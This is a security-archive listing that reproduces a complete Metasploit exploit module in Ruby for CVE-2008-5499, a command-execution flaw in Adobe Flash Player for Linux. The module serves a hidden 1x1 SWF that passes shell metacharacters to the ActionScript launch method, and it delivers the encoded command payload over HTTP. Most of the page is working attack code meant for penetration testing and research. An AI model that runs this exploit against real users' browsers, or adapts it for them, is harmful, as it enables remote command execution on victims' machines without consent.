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Adobe Flash Player ActionScript Launch Command Execution

Adobe Flash Player ActionScript Launch Command Execution
Posted Apr 20, 2012
Authored by 0a29406d9794e4f9b30b3c5d6702c708 | Site metasploit.com

This Metasploit module exploits a vulnerability in Adobe Flash Player for Linux, version 10.0.12.36 and 9.0.151.0 and prior. An input validation vulnerability allows command execution when the browser loads a SWF file which contains shell metacharacters in the arguments to the ActionScript launch method. The victim must have Adobe AIR installed for the exploit to work. This Metasploit module was tested against version 10.0.12.36 (10r12_36).

tags | exploit, shell
systems | linux
advisories | CVE-2008-5499, OSVDB-50796
MD5 | afc250118d90645e4b69c0558747b599

Adobe Flash Player ActionScript Launch Command Execution

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})
super(update_info(info,
'Name' => 'Adobe Flash Player ActionScript Launch Command Execution Vulnerability',
'Description' => %q{
This module exploits a vulnerability in Adobe Flash Player for Linux,
version 10.0.12.36 and 9.0.151.0 and prior.
An input validation vulnerability allows command execution when the browser
loads a SWF file which contains shell metacharacters in the arguments to
the ActionScript launch method.

The victim must have Adobe AIR installed for the exploit to work. This module
was tested against version 10.0.12.36 (10r12_36).
},
'License' => MSF_LICENSE,
'Author' =>
[
'0a29406d9794e4f9b30b3c5d6702c708', # Metasploit version
],
'References' =>
[
['CVE', '2008-5499'],
['OSVDB', '50796'],
['URL', 'http://www.adobe.com/support/security/bulletins/apsb08-24.html'],
['URL', 'http://www.securityfocus.com/bid/32896/exploit']
],
'DefaultOptions' =>
{
'HTTP::compression' => 'gzip',
'HTTP::chunked' => true
},
'Platform' => 'unix', # so unix cmd exec payloads are ok
'Arch' => ARCH_CMD,
'Targets' =>
[
[ 'Automatic', {}],
],
'DisclosureDate' => 'Dec 17 2008',
'DefaultTarget' => 0))

end

def exploit
path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2008-5499.swf" )
fd = File.open( path, "rb" )
@swf = fd.read(fd.stat.size)
fd.close

super
end

def on_request_uri(cli, request)
msg = "#{cli.peerhost.ljust(16)} #{self.shortname}"
trigger = @swf
trigger_file = rand_text_alpha(rand(6)+3) + ".swf"

obj_id = rand_text_alpha(rand(6)+3)

if request.uri.match(/\.swf/i)
print_status("#{msg} Sending Exploit SWF")
send_response(cli, trigger, { 'Content-Type' => 'application/x-shockwave-flash' })
return
end

if request.uri.match(/\.txt/i)
send_response(cli, payload.encoded, { 'Content-Type' => 'text/plain' })
return
end

html = <<-EOS
<html>
<head>
</head>
<body>
<center>
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" id="#{obj_id}" width="1" height="1" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
<param name="movie" value="#{get_resource}#{trigger_file}" />
<embed src="#{get_resource}#{trigger_file}" quality="high" width="1" height="1" name="#{obj_id}" align="middle" allowNetworking="all"
type="application/x-shockwave-flash"
pluginspage="http://www.macromedia.com/go/getflashplayer">
</embed>

</object>
</center>

</body>
</html>
EOS

print_status("#{msg} Sending HTML...")
send_response(cli, html, { 'Content-Type' => 'text/html' })
end
end

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